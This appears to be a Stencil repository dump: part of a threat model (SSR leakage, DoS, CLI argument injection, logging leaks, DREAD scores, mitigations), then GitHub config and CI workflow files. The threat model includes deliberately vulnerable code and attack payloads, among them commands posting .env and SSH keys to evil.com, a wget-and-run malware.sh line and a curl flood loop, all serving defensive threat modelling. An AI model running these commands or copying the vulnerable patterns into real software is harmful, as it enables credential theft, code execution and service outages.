private async fetchUserData() {
// Simulate database error
throw new Error(`Database connection failed: ${process.env.DB_HOST}:${process.env.DB_PORT}`);
}
render() {
return (
<div>
<h1>User Dashboard</h1>
{/* VULNERABLE - Debug info in production */}
{process.env.NODE_ENV !== 'production' && (
<pre>{JSON.stringify(this.debugInfo, null, 2)}</pre>
)}
{/* VULNERABLE - Server data in HTML comments */}
<!-- Server Info: {JSON.stringify(this.debugInfo)} -->
{/* VULNERABLE - Error details exposed */}
{this.debugInfo?.error && (
<div class="error">
<h2>Error Details:</h2>
<pre>{this.debugInfo.error.stack}</pre>
<p>Query: {this.debugInfo.error.query}</p>
</div>
)}
</div>
);
}
}
```
**Example of Leaked Information in HTML:**
```html
<!-- Generated SSR output containing sensitive data -->
<div>
<h1>User Dashboard</h1>
<!-- Server Info: {
"dbConnection": "postgresql://admin:secret123@internal-db.company.com:5432/production",
"apiKeys": "sk_live_abc123def456ghi789",
"internalServices": "https://internal-api.company.com/v1",
"serverPath": "/opt/app/dist/server",
"error": {
"stack": "Error: Database connection failed: internal-db.company.com:5432\n at /opt/app/server/components/dashboard.js:45:12",
"query": "SELECT * FROM users WHERE api_key = 'sk_live_abc123def456ghi789'",
"connectionString": "postgresql://admin:secret123@internal-db.company.com:5432/production"
}
} -->
<div class="error">
<h2>Error Details:</h2>
<pre>Error: Database connection failed: internal-db.company.com:5432
at /opt/app/server/components/dashboard.js:45:12
at processTicksAndRejections (internal/process/task_queues.js:93:5)</pre>
<p>Query: SELECT * FROM users WHERE api_key = 'sk_live_abc123def456ghi789'</p>
</div>
</div>
```
**Attack Exploitation:**
```bash
# Attacker views page source to extract sensitive data
curl -s https://app.com/dashboard | grep -E "(password|key|secret|database|internal)"
# Automated scanning for information disclosure
grep -r "process.env\|__dirname\|DATABASE_URL" view-source:https://app.com/
```
**Real-world Impact:**
- **2018**: Major SaaS provider exposed database credentials in SSR error pages
- **2020**: E-commerce site leaked internal API endpoints enabling further attacks
- Exposed API keys can lead to financial fraud and service abuse
- Database credentials enable complete data breaches
| Score | Rationale |
|-------|-----------|
| **Damage** | 9 | Server-side secrets, database connection strings, or internal errors exposed |
| **Reproducibility** | 5 | Depends on error handling implementation |
| **Exploitability** | 8 | Can trigger errors through various inputs |
| **Affected Users** | 10 | All users can see the leaked information |
| **Discoverability** | 8 | Error messages and debug info often visible in HTML source |
**DREAD Score: 40/50 - CRITICAL**
**Threat #12: Server-side denial of service**
- **Category**: Denial of Service
- **Description**: Malicious input or requests causing resource exhaustion during server-side rendering, leading to server downtime and service unavailability. This can occur through computationally expensive rendering operations, memory exhaustion, infinite loops, or overwhelming the server with resource-intensive SSR requests.
**Attack Scenarios:**
1. **Computational exhaustion**: Requests that trigger CPU-intensive rendering operations
2. **Memory exhaustion**: Rendering operations that consume excessive memory
3. **Infinite loops**: Malicious data causing endless processing cycles
4. **Concurrent request flooding**: Multiple simultaneous resource-intensive SSR requests
**Example Vulnerable SSR Code:**
```typescript
@Component({
tag: 'data-visualizer'
})
export class DataVisualizer {
@Prop() dataset: any[];
@Prop() iterations: number;
async componentWillLoad() {
// VULNERABLE - No input validation
await this.processLargeDataset();
}
private async processLargeDataset() {
// VULNERABLE - No bounds checking
for (let i = 0; i < this.iterations; i++) {
// VULNERABLE - Potentially infinite loop
this.dataset.forEach(item => {
// CPU-intensive operation
this.heavyComputation(item);
});
}
}
private heavyComputation(data: any) {
// VULNERABLE - No timeout or limits
const results = [];
for (let i = 0; i < data.size; i++) {
results.push(this.expensiveOperation(data));
}
return results;
}
render() {
return (
<div>
{/* VULNERABLE - Rendering massive arrays */}
{this.dataset.map((item, index) => (
<div key={index}>
{/* VULNERABLE - Nested expensive rendering */}
{Array(item.multiplier).fill(0).map((_, i) => (
<complex-chart data={item} index={i} />
))}
</div>
))}
</div>
);
}
}
```
**Example Attack Requests:**
```http
POST /api/render HTTP/1.1
Content-Type: application/json
{
"component": "data-visualizer",
"props": {
"dataset": [
{"size": 1000000, "multiplier": 1000},
{"size": 1000000, "multiplier": 1000},
{"size": 1000000, "multiplier": 1000}
],
"iterations": 999999999
}
}
```
**Automated DoS Attack:**
```bash
# Flood server with resource-intensive requests
for i in {1..100}; do
curl -X POST https://app.com/api/render \
-H "Content-Type: application/json" \
-d '{
"component": "data-visualizer",
"props": {
"dataset": [{"size": 10000000, "multiplier": 1000}],
"iterations": 100000
}
}' &
done
```
**Impact:**
- Server becomes unresponsive or crashes
- Service unavailability for all users
- Potential infrastructure costs from resource consumption
- Can affect entire application, not just SSR functionality
| Score | Rationale |
|-------|-----------|
| **Damage** | 8 | Server becomes unresponsive, affects all users |
| **Reproducibility** | 7.5 | Requires crafting specific resource-intensive inputs |
| **Exploitability** | 5 | Requires understanding of SSR resource consumption |
| **Affected Users** | 10 | All users of the SSR application |
| **Discoverability** | 8 | Resource usage patterns can be observed |
**DREAD Score: 38.5/50 - HIGH**
#### CLI
**Threat #13: Argument injection**
- **Category**: Tampering
- **Description**: Malicious injection of command-line arguments into the Stencil CLI to execute unintended operations, access unauthorized files, or manipulate the build process. This can occur when user input is improperly sanitized before being passed to CLI commands, or when build scripts dynamically construct CLI arguments from untrusted sources.
**Attack Scenarios:**
1. **Build script injection**: Malicious arguments injected through build configurations
2. **CI/CD pipeline exploitation**: Compromised environment variables affecting CLI arguments
3. **Plugin argument manipulation**: Third-party plugins passing malicious arguments
4. **Dynamic argument construction**: Unsafe construction of CLI commands from user input
**Example Vulnerable Code:**
```javascript
// Vulnerable build script
const stencilConfig = JSON.parse(process.env.STENCIL_CONFIG || '{}');
// VULNERABLE - No argument sanitization
const command = `stencil build --config ${stencilConfig.configPath} --output ${stencilConfig.outputDir}`;
// VULNERABLE - Direct argument injection
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(`Error: ${error}`);
return;
}
console.log(stdout);
});
// VULNERABLE - User-controlled file paths
function buildWithCustomConfig(userProvidedConfig) {
const args = [
'build',
'--config',
userProvidedConfig, // VULNERABLE - No validation
'--serve',
'--watch'
];
spawn('stencil', args);
}
```
**Example Attack Payloads:**
```bash
# Environment variable injection
STENCIL_CONFIG='{"configPath": "config.ts; cat /etc/passwd #", "outputDir": "dist"}'
# Argument injection via config path
userProvidedConfig = "config.ts --serve --watch --host 0.0.0.0 --port 8080; rm -rf /important-files; #"
# Command injection through build arguments
stencil build --config "config.ts; curl -X POST https://evil.com/steal -d @.env; #"
# File path manipulation
stencil build --config ../../sensitive-config.ts --output /tmp/stolen-build
# Plugin argument injection
stencil build --config config.ts --plugin "evil-plugin; wget https://evil.com/malware.sh && chmod +x malware.sh && ./malware.sh"
```
**Real Attack Example:**
```javascript
// Malicious CI/CD configuration
{
"scripts": {
"build": "stencil build --config config.ts",
"deploy": "stencil build --config $BUILD_CONFIG --output $OUTPUT_DIR"
}
}
// Attacker sets environment variables:
// BUILD_CONFIG="config.ts; export AWS_ACCESS_KEY_ID=stolen; export AWS_SECRET_ACCESS_KEY=stolen; aws s3 cp . s3://evil-bucket --recursive; #"
// OUTPUT_DIR="dist; cat ~/.ssh/id_rsa | curl -X POST https://evil.com/steal -d @-; #"
```
**Impact:**
- Arbitrary command execution on build servers
- Theft of sensitive files and credentials
- Unauthorized access to development infrastructure
- Supply chain attacks through compromised builds
| Score | Rationale |
|-------|-----------|
| **Damage** | 9 | Could execute arbitrary commands on developer machine |
| **Reproducibility** | 5 | Requires specific argument combinations |
| **Exploitability** | 2.5 | Requires deep understanding of CLI internals |
| **Affected Users** | 2.5 | Individual developer affected |
| **Discoverability** | 5 | CLI help and documentation reveal argument structure |
**DREAD Score: 24/50 - MEDIUM**
**Threat #14: Information disclosure via logging**
- **Category**: Information Disclosure
- **Description**: Sensitive information being inadvertently logged to console output, log files, or CI/CD build logs where it can be accessed by unauthorized parties. This includes API keys, authentication tokens, database credentials, user data, and internal system information that gets captured in various logging systems.
**Attack Scenarios:**
1. **Console logging**: Sensitive data logged to browser console or terminal output
2. **CI/CD log exposure**: Credentials visible in build logs on CI/CD platforms
3. **Debug logging**: Development debug statements left in production code
4. **Error logging**: Detailed error messages containing sensitive information
5. **Third-party logging**: Logging services inadvertently capturing sensitive data
**Example Vulnerable Code:**
```typescript
@Component({
tag: 'secure-api-client'
})
export class SecureApiClient {
@Prop() apiKey: string;
@State() userData: any;
async componentWillLoad() {
// VULNERABLE - API key logged to console
console.log('Initializing API client with key:', this.apiKey);
try {
const response = await fetch('https://api.example.com/user', {
headers: {
'Authorization': `Bearer ${this.apiKey}`,
'X-User-Token': localStorage.getItem('userToken')
}
});
this.userData = await response.json();
// VULNERABLE - Sensitive user data logged
console.log('User data received:', this.userData);
} catch (error) {
// VULNERABLE - Error logs may contain sensitive data
console.error('API Error:', error);
console.error('Request details:', {
apiKey: this.apiKey,
userToken: localStorage.getItem('userToken'),
userData: this.userData
});
}
}
private async debugAPI() {
// VULNERABLE - Debug logging with credentials
console.group('API Debug Information');
console.log('Environment:', process.env.NODE_ENV);
console.log('API Key:', this.apiKey);
console.log('Database URL:', process.env.DATABASE_URL);
console.log('JWT Secret:', process.env.JWT_SECRET);
console.log('User session:', localStorage.getItem('session'));
console.groupEnd();
}
render() {
return (
<div>
<button onClick={() => this.debugAPI()}>Debug API</button>
{/* VULNERABLE - Sensitive data in DOM for debugging */}
{process.env.NODE_ENV === 'development' && (
<pre>{JSON.stringify({
apiKey: this.apiKey,
userData: this.userData,
env: process.env
}, null, 2)}</pre>
)}
</div>
);
}
}
```
**Example Build Script Logging:**
```javascript
// Vulnerable build configuration
export const config: Config = {
outputTargets: [{ type: 'www' }],
plugins: [
{
name: 'debug-plugin',
buildStart() {
// VULNERABLE - Environment variables logged
console.log('Build environment:', process.env);
console.log('API Keys:', {
stripe: process.env.STRIPE_SECRET_KEY,
aws: process.env.AWS_SECRET_ACCESS_KEY,
db: process.env.DATABASE_PASSWORD
});
}
}
]
};
```
**Example CI/CD Log Exposure:**
```yaml
# GitHub Actions workflow - VULNERABLE
name: Build and Deploy
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Setup Node
uses: actions/setup-node@v2
- name: Install dependencies
run: npm install
- name: Build
run: |
echo "Building with API key: ${{ secrets.API_KEY }}" # VULNERABLE
echo "Database URL: ${{ secrets.DATABASE_URL }}" # VULNERABLE
npm run build
env:
API_KEY: ${{ secrets.API_KEY }}
DATABASE_URL: ${{ secrets.DATABASE_URL }}
```
**Attack Exploitation:**
```bash
# Attacker accesses CI/CD logs
curl -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/owner/repo/actions/runs/123/logs
# Browser console inspection
# Attacker opens browser dev tools and looks for logged sensitive data
console.log('Searching for sensitive data...');
console.history.forEach(entry => {
if (entry.includes('key') || entry.includes('token') || entry.includes('password')) {
console.log('Found sensitive data:', entry);
}
});
```
**Real-world Impact:**
- **2019**: Travis CI logs exposed AWS credentials for thousands of repositories
- **2020**: GitHub Actions logs leaked database credentials for major e-commerce platform
- **2021**: Slack bot logs exposed user authentication tokens affecting 500,000+ users
- Log aggregation services may retain sensitive data for extended periods
| Score | Rationale |
|-------|-----------|
| **Damage** | 8 | API keys, tokens, or credentials exposed in logs |
| **Reproducibility** | 8 | Reproducible when sensitive data is processed |
| **Exploitability** | 9 | Logs are easily accessible, no special tools needed |
| **Affected Users** | 2.5 | Individual developer and CI/CD systems |
| **Discoverability** | 10 | Console output and log files are easily inspectable |
**DREAD Score: 37.5/50 - HIGH**
### 3. Threat Prioritization
Based on the DREAD scoring system, threats are classified as follows:
- **Critical (40-50 points)**: Immediate attention required
- **High (25-39 points)**: High priority for remediation
- **Medium (11-24 points)**: Moderate priority
- **Low (1-10 points)**: Low priority
#### Critical Priority Threats:
1. **Threat #2**: Information disclosure of environment variables (48/50)
2. **Threat #7**: Cross-Site Scripting (XSS) (46/50)
3. **Threat #10**: XSS in SSR output (46/50)
4. **Threat #1**: Arbitrary code execution via malicious configuration (43/50)
5. **Threat #4**: Directory traversal attack (42.5/50)
6. **Threat #11**: Server-side information disclosure (40/50)
#### High Priority Threats:
7. **Threat #12**: Server-side denial of service (38.5/50)
8. **Threat #8**: Information disclosure via component state (38/50)
9. **Threat #6**: Resource exhaustion (37.5/50)
10. **Threat #14**: Information disclosure via logging (37.5/50)
11. **Threat #9**: Client-side denial of service (36/50)
12. **Threat #5**: Malicious WebSocket connection (32/50)
13. **Threat #3**: Denial of service via malformed input (28.5/50)
#### Medium Priority Threats:
14. **Threat #13**: Argument injection (24/50)
### 4. Threat Mitigation
This section outlines potential and existing mitigations for the identified threats.
#### Compiler
**Threat #1: Arbitrary code execution via malicious configuration or plugins**
* **Mitigation**:
* Stencil's configuration is a TypeScript file (`stencil.config.ts`), which offers some type safety but does not prevent arbitrary code execution. Developers are responsible for trusting the code and plugins they use.
* **Recommendation**: Run Stencil in a sandboxed environment (like a Docker container) during CI/CD to limit the blast radius of a compromised build script. Use tools like `npm audit` to check for vulnerable dependencies.
**Threat #2: Information disclosure of environment variables**
* **Mitigation**:
* Stencil replaces `process.env.NODE_ENV` but does not expose other environment variables by default.
* **Recommendation**: Developers should be careful not to manually expose sensitive environment variables in their `stencil.config.ts` or application code.
**Threat #3: Denial of service via malformed input**
* **Mitigation**:
* **Recommendation**: Implement input validation and error handling in the compiler to gracefully handle malformed input files. Add timeouts for compilation processes to prevent infinite loops.
#### Dev Server
**Threat #4: Directory traversal attack**
* **Mitigation**: The dev server should sanitize file paths and prevent access to files outside of the project root.
* **Finding (CVE-pending)**: The dev server is vulnerable to a directory traversal attack. The `normalizeHttpRequest` function in `src/dev-server/request-handler.ts` computes a file path from the request URL. This path is not properly sanitized or checked against the server's root directory. An attacker on the same network can craft a URL (e.g., `http://<ip>:<port>/../../etc/passwd`) to read arbitrary files on the developer's machine. The functions `serveFile` and `serveDirectoryIndex` use this path to read from the file system, leading to the vulnerability.
* **Recommendation**: Add a check in `src/dev-server/request-handler.ts` to ensure the resolved file path is located within the configured `root` directory before attempting to access the file system.
**Threat #5: Malicious WebSocket connection**
* **Mitigation**: The WebSocket server should validate the `Origin` header to ensure it's a trusted source.
* **Recommendation**: Implement Origin header validation for WebSocket connections and use authentication tokens for HMR communications.
**Threat #6: Resource exhaustion**
* **Mitigation**: Implement rate limiting and resource monitoring for the dev server.
* **Recommendation**: Add request rate limiting, connection limits, and monitoring for unusual traffic patterns.
#### Client-side Runtime & SSR
**Threat #7: Cross-Site Scripting (XSS)**
* **Mitigation**:
* Stencil uses JSX, which automatically escapes data bindings to prevent XSS, similar to React.
* **Recommendation**: Developers should avoid using `innerHTML` with untrusted content. When it's necessary, they must sanitize the HTML.
**Threat #8: Information disclosure via component state**
* **Mitigation**:
* **Recommendation**: Implement proper data handling practices, avoid storing sensitive data in component state, and use secure communication channels for sensitive operations.
**Threat #9: Client-side denial of service**
* **Mitigation**:
* **Recommendation**: Implement performance monitoring, use efficient algorithms, and add safeguards against infinite loops in component logic.
**Threat #10: XSS in SSR output**
* **Mitigation**:
* **Recommendation**: For SSR, the same sanitization principles apply and are even more critical as the content is generated on a trusted server. Implement server-side input validation and output encoding.
**Threat #11: Server-side information disclosure**
* **Mitigation**:
* **Recommendation**: Implement proper error handling that doesn't expose internal details, use environment-specific configurations, and sanitize all output.
**Threat #12: Server-side denial of service**
* **Mitigation**:
* **Recommendation**: Implement resource limits, request timeouts, input validation, and monitoring for resource-intensive operations.
#### CLI
**Threat #13: Argument injection**
* **Mitigation**:
* **Recommendation**: Implement proper argument validation and sanitization, use parameterized commands, and avoid dynamic command construction.
**Threat #14: Information disclosure via logging**
* **Mitigation**:
* **Recommendation**: Implement secure logging practices, filter sensitive data from logs, and use structured logging with appropriate log levels.
#### General Recommendations
* **Keep Dependencies Updated**: Regularly update project dependencies to patch known vulnerabilities.
* **Secure Coding Practices**: Developers using Stencil should follow standard secure coding practices for web applications.
* **Input Validation**: All data, whether from users, files, or network requests, should be validated and sanitized.
================================================
FILE: .github/ionic-issue-bot.yml
================================================
triage:
label: triage
dryRun: false
closeAndLock:
labels:
- label: 'ionitron: support'
message: >
Thanks for the issue! This issue appears to be a support request. We use this issue tracker exclusively for
bug reports and feature requests. Please use our [Discord server](https://chat.stenciljs.com)
for questions about Stencil.
Thank you for using Stencil!
- label: 'ionitron: missing template'
message: >
Thanks for the issue! It appears that you have not filled out the provided issue template. We use this issue
template in order to gather more information and further assist you. Please create a new issue and ensure the
template is fully filled out.
Thank you for using Stencil!
close: true
lock: true
dryRun: false
comment:
labels:
- label: 'ionitron: needs reproduction'
message: >
Thanks for the issue! This issue has been labeled as `needs reproduction`. This label is added to issues that
need a code reproduction.
Please reproduce this issue in an Stencil starter component library and provide a way for us to access it
(GitHub repo, StackBlitz, etc). Without a reliable code reproduction, it is unlikely we will be able to resolve
the issue, leading to it being closed.
If you have already provided a code snippet and are seeing this message, it is likely that the code snippet was
not enough for our team to reproduce the issue.
For a guide on how to create a good reproduction, see our
[Contributing Guide](https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md).
dryRun: false
noReply:
maxIssuesPerRun: 100
includePullRequests: false
label: Awaiting Reply
close: false
lock: false
dryRun: false
noReproduction:
days: 14
maxIssuesPerRun: 100
label: 'ionitron: needs reproduction'
responseLabel: triage
exemptProjects: true
exemptMilestones: true
message: >
Thanks for the issue! This issue is being closed due to the lack of a code reproduction. If this is still
an issue with the latest version of Stencil, please create a new issue and ensure the template is fully filled out.
Thank you for using Stencil!
close: true
lock: true
dryRun: false
stale:
days: 30
maxIssuesPerRun: 100
exemptLabels:
- 'Bug: Validated'
- 'Feature: Want this? Upvote it!'
- good first issue
- help wanted
- Request For Comments
- 'Resolution: Needs Investigation'
- 'Resolution: Refine'
- triage
exemptAssigned: true
exemptProjects: true
exemptMilestones: true
label: 'ionitron: stale issue'
message: >
Thanks for the issue! This issue is being closed due to inactivity. If this is still
an issue with the latest version of Stencil, please create a new issue and ensure the
template is fully filled out.
Thank you for using Stencil!
close: true
lock: true
dryRun: false
wrongRepo:
repos:
- label: 'ionitron: cli'
repo: ionic-cli
message: >
Thanks for the issue! We use this issue tracker exclusively for bug reports and feature requests
associated with Stencil. It appears that this issue is associated with the Ionic CLI.
I am moving this issue to the Ionic CLI repository. Please track this issue over there.
Thank you for using Stencil!
- label: 'ionitron: ionic'
repo: ionic
message: >
Thanks for the issue! We use this issue tracker exclusively for bug reports and feature requests
associated with Stencil. It appears that this issue is associated with the Ionic Framework.
I am moving this issue to the Ionic Framework repository. Please track this issue over there.
Thank you for using Stencil!
close: true
lock: true
dryRun: false
================================================
FILE: .github/reproduire/needs-reproduction.md
================================================
We need a minimal reproduction to be able to triage this issue.
### Why do we need a minimal reproduction?
Reproductions allow the team to triage and fix issues quickly with a tiny team. They help us identify the source of the problem and verify that the issue is not caused by something specific to your project.
### How can I create a reproduction?
Please use our [Stencil Starter](https://codesandbox.io/p/github/johnjenkins/stencil-starter/) to create a minimal reproduction.
<details>
<summary>Other starter templates</summary>
| Template | CodeSandbox |
|----------|-------------|
| Stencil + Vitest | [stencil-starter-vitest](https://codesandbox.io/p/github/johnjenkins/stencil-starter-vitest/) |
| Angular | [stencil-angular-starter](https://codesandbox.io/p/github/johnjenkins/stencil-angular-starter/) |
| NextJs | [stencil-starter-next](https://codesandbox.io/p/github/johnjenkins/stencil-starter-next/) |
| React | [stencil-starter-react](https://codesandbox.io/p/github/johnjenkins/stencil-starter-react/) |
| Vue | [stencil-starter-vue](https://codesandbox.io/p/github/johnjenkins/stencil-starter-vue/) |
</details>
A reproduction should be **as minimal as possible**. This means removing any code that is not directly related to the issue. The less code there is, the easier it is to identify the problem.
You can also provide a link to a public GitHub repository that demonstrates the issue.
### What happens next?
- If you provide a valid reproduction link, this issue will be triaged and addressed based on priority.
- If no reproduction is provided within **14 days**, this issue may be automatically closed.
- You can always reopen the issue by providing a reproduction link.
---
**Resources:**
- [How to create a Minimal, Reproducible Example](https://stackoverflow.com/help/minimal-reproducible-example)
- [The Importance of Reproductions](https://antfu.me/posts/why-reproductions-are-required)
================================================
FILE: .github/workflows/README.md
================================================
# Stencil Continuous Integration (CI)
Continuous integration (CI) is an important aspect of any project, and is used to verify and validate the changes to the
codebase work as intended, to avoid introducing regressions (bugs), and to adhere to coding standards (e.g. formatting
rules). It provides a consistent means of performing a series of checks over the entire codebase on behalf of the team.
This document explains Stencil's CI setup.
## CI Environment
Stencil's CI system runs on GitHub Actions.
GitHub Actions allow developers to declare a series of _workflows_ to run following an _event_ in the repository, or on
a set schedule.
The workflows that are run as a part of Stencil's CI process are declared as YAML files, and are stored in the same
directory as this file.
Each workflow file is explained in greater depth in the [workflows section](#workflows) of this document.
## Workflows
This section describes each of Stencil's GitHub Actions workflows.
Each of these tasks below are codified as [reusable workflows](https://docs.github.com/en/actions/using-workflows/reusing-workflows).
Generally speaking, workflows are designed to be declarative in nature.
As such, this section does not intend to duplicate the details of each workflow, but rather give a high level overview
of each one and mention nuances of each.
### Main (`main.yml`)
The main workflow for Stencil can be found in `main.yml` in this directory.
This workflow is the entrypoint of Stencil's CI system, and initializes every workflow & job that runs.
### Build (`build.yml`)
This workflow is responsible for building Stencil and validating the resultant artifact.
### Format (`format.yml`)
This workflow is responsible for validating that the code adheres to the Stencil team's formatting configuration before
a pull request is merged.
### Dev Release (`release-dev.yml`)
This workflow initiates a developer build of Stencil from the `main` branch.
It is intended to be manually invoked by a member of the Stencil team.
### Nightly Release (`release-nightly.yml`)
This workflow initiates a nightly build of Stencil from the `main` branch.
A nightly build is similar to a 'Dev Release', except that:
- it is run on a set cadence (it is not expectedthat a developer to manually invoke it)
- it is published to the npm registry under the 'nightly' tag
### Test Analysis (`test-analysis.yml`)
This workflow is responsible for running the Stencil analysis testing suite.
### Test End-to-End (`test-e2e.yml`)
This workflow is responsible for running the Stencil end-to-end testing suite.
This suite does _not_ run Stencil's BrowserStack tests.
Those are handled by a [separate workflow](#browserstack-browserstackyml).
### Test Unit (`test-unit.yml`)
This workflow is responsible for running the Stencil unit testing suite.
### WebdriverIO Tests (`test-wdio.yml`)
This workflow runs our integration tests which assert that various Stencil
features work correctly when components using them are built and then rendered
in actual browsers. We run these tests using
[WebdriverIO](https://webdriver.io/) against Firefox, Chrome, and Edge.
For more information on how those tests are set up please see the [WebdriverIO
test README](../../test/wdio/README.md).
### Design
#### Overview
Most of the workflows above are contingent on the build finishing (otherwise there would be nothing to run against).
The diagram below displays the dependencies between each workflow.
```mermaid
graph LR;
build-core-->test-analysis;
build-core-->test-e2e;
build-core-->test-unit;
format;
```
Making each 'task' a reusable workflow allows CI to run more jobs in parallel, improving the throughput of Stencil's CI.
All resusable workflows can be found in the [workflows directory](.).
This is a GitHub Actions convention that cannot be overridden.
#### Running Tests
All test-related jobs require the build to finish first.
Upon successful completion of the build workflow, each test workflow will start.
The test-running workflows have been designed to run in parallel and are configured to run against several operating
systems & versions of node.
For a test workflow that theoretically runs on Ubuntu and Windows operating systems and targets Node v14, v16 and v18, a
single test workflow may spawn several jobs:
```mermaid
graph LR;
test-analysis-->ubuntu-node14;
test-analysis-->ubuntu-node16;
test-analysis-->ubuntu-node18;
test-analysis-->windows-node14;
test-analysis-->windows-node16;
test-analysis-->windows-node18;
```
These 'os-node jobs' (e.g. `ubuntu-node16`) are designed to _not_ prematurely stop their sibling jobs should one of
them fail.
This allows the opportunity for the sibling test jobs to potentially pass, and reduce the number of runners that need to
be spun up again should a developer wish to 're-run failed jobs'.
Should a developer feel that it is more appropriate to re-run all os-node jobs, they may do so using GitHub's 're-run
all jobs' options in the GitHub Actions UI.
#### Concurrency
When a `git push` is made to a branch, Stencil's CI is designed to stop existing job(s) associated with the workflow +
branch.
A new CI run (of each workflow) will begin upon stopping the existing job(s) using the new `HEAD` of the branch.
## Repository Configuration
Each of the workflows described in the [workflows section](#workflows) of this document must be configured in the
Stencil GitHub repository to be _required_ to pass in order to land code in the `main` branch.
================================================
FILE: .github/workflows/actions/check-git-context/action.yml
================================================
name: 'Check Git Context'
description: 'checks for a dirty git context, failing if the context is dirty'
runs:
using: composite
steps:
- name: Git status check
# here we check that there are no changed / new files.
# we use `git status`, grep out the build zip used throughout CI,
# and check if there are more than 0 lines in the output.
run: if [[ $(git status --short | grep -c -v stencil-core-build.zip) -ne 0 ]]; then STATUS=$(git status --verbose); printf "%s" "$STATUS"; git diff | cat; exit 1; fi
shell: bash
================================================
FILE: .github/workflows/actions/download-archive/action.yml
================================================
name: 'Stencil Archive Download'
description: 'downloads and decompresses an archive from a previous job'
inputs:
path:
description: 'location to decompress the archive to'
filename:
description: 'the name of the decompressed artifact'
name:
description: 'name of the archive to decompress'
runs:
using: 'composite'
steps:
- uses: actions/download-artifact@65a9edc5881444af0b9093a5e628f2fe47ea3b2e # v4.1.7
with:
name: ${{ inputs.name }}
path: ${{ inputs.path }}
- name: Extract Archive
run: unzip -q -o ${{ inputs.path }}/${{ inputs.filename }} -d ${{ inputs.path }}
shell: bash
================================================
FILE: .github/workflows/actions/get-core-dependencies/action.yml
================================================
name: 'Get Core Dependencies'
description: 'sets the node version & initializes core dependencies'
runs:
using: composite
steps:
# this overrides previous versions of the node runtime that was set.
# jobs that need a different version of the Node runtime should explicitly
# set their node version after running this step
- name: Use Node Version from Volta
uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
with:
node-version-file: './package.json'
cache: 'npm'
- name: Install Dependencies
run: |
npm ci \
&& npm run install.jest
shell: bash
================================================
FILE: .github/workflows/actions/upload-archive/action.yml
================================================
name: 'Stencil Archive Upload'
description: 'compresses and uploads an archive to be reused across jobs'
inputs:
paths:
description: 'paths to files or directories to archive (recursive)'
output:
description: 'output file name'
name:
description: 'name of the archive to upload'
runs:
using: 'composite'
steps:
- name: Create Archive
run: zip -q -r ${{ inputs.output }} ${{ inputs.paths }}
shell: bash
- uses: actions/upload-artifact@65462800fd760344b1a7b4382951275a0abb4808 # v4.3.3
with:
name: ${{ inputs.name }}
path: ${{ inputs.output }}
================================================
FILE: .github/workflows/build.yml
================================================
name: Build Stencil
on:
workflow_call:
# Make this a reusable workflow, no value needed
# https://docs.github.com/en/actions/using-workflows/reusing-workflows
permissions:
contents: read
jobs:
build_core:
name: Core
strategy:
matrix:
os: ['ubuntu-22.04', 'windows-latest']
runs-on: ${{ matrix.os }}
steps:
- name: Checkout Code
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
- name: Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: Core Build
run: npm run build -- --ci
shell: bash
- name: Validate Build
run: npm run test.dist
shell: bash
- name: Validate Testing
run: npm run test.testing
shell: bash
- name: Upload Build Artifacts
if: ${{ matrix.os == 'ubuntu-22.04' }}
uses: ./.github/workflows/actions/upload-archive
with:
name: stencil-core
output: stencil-core-build.zip
paths: cli compiler dev-server internal mock-doc scripts/build screenshot sys testing
================================================
FILE: .github/workflows/create-production-pr.yml
================================================
name: 'Stencil Production Release PR Creation'
on:
workflow_dispatch:
inputs:
version:
required: true
type: choice
description: Which version should be published?
options:
- prerelease
- prepatch
- preminor
- premajor
- patch
- minor
- major
base:
required: true
type: choice
description: Which base branch should be targeted?
default: main
options:
- main
- v3-maintenance
jobs:
create-stencil-release-pull-request:
name: Generate Stencil Release PR
runs-on: ubuntu-latest
permissions:
contents: write
pull-requests: write
steps:
# Log the input from GitHub Actions for easy traceability
- name: Log GitHub Input
run: |
echo "Version: ${{ inputs.version }}"
shell: bash
- name: Checkout Code
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
with:
# A depth of 0 gets the entire git history, which we'll want for things like checking all git history/tags.
# We need git history to generate the changelog; however, we don't know how deep to go.
# Since publishing is a one-off activity, just get everything.
fetch-depth: 0
ref: ${{ inputs.base }}
- name: Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
# TODO(STENCIL-927): Backport changes to the v3 branch
- name: Run Publish Preparation Script
run: npm run release.ci.prepare -- --version ${{ inputs.version }}
shell: bash
- name: Log Generated Changes
run: git --no-pager diff
shell: bash
- name: Generate Version String and Branch Name
id: name_gen
run: |
VERSION_STR=$(jq '.version' package.json | sed s/\"//g)
echo "VERSION_STR=$VERSION_STR" >> "$GITHUB_OUTPUT"
echo "BRANCH_NAME=release/$VERSION_STR-run-${{ github.run_number }}-${{ github.run_attempt }}" >> "$GITHUB_OUTPUT"
shell: bash
- name: Print Version String and Branch Name
run: |
echo Version: ${{ steps.name_gen.outputs.VERSION_STR }}
echo Branch Name: ${{ steps.name_gen.outputs.BRANCH_NAME }}
shell: bash
- name: Create the Pull Request
uses: peter-evans/create-pull-request@6d6857d36972b65feb161a90e484f2984215f83e # v6.0.5
with:
# create a new pull request using the specified base branch
base: ${{ inputs.base }}
# specifies the name of the branch to create off of the base branch
branch: '${{ steps.name_gen.outputs.BRANCH_NAME }}'
# TODO(STENCIL-928): Remove this once pipeline is 'ready'
draft: true
# create a commit message containing the semver version, prefixed with a 'v' - e.g. 'v4.1.0'
commit-message: 'v${{ steps.name_gen.outputs.VERSION_STR }}'
# set the title of the pull request, otherwise it'll default to generic message
title: 'Release v${{ steps.name_gen.outputs.VERSION_STR }}'
# the body of the pull request summary can be empty
body: ''
================================================
FILE: .github/workflows/lint-and-format.yml
================================================
name: Lint and Format Stencil (Check)
on:
merge_group:
workflow_call:
# Make this a reusable workflow, no value needed
# https://docs.github.com/en/actions/using-workflows/reusing-workflows
permissions:
contents: read
jobs:
format:
name: Check
runs-on: 'ubuntu-22.04'
steps:
- name: Checkout Code
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
- name: Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: ESLint
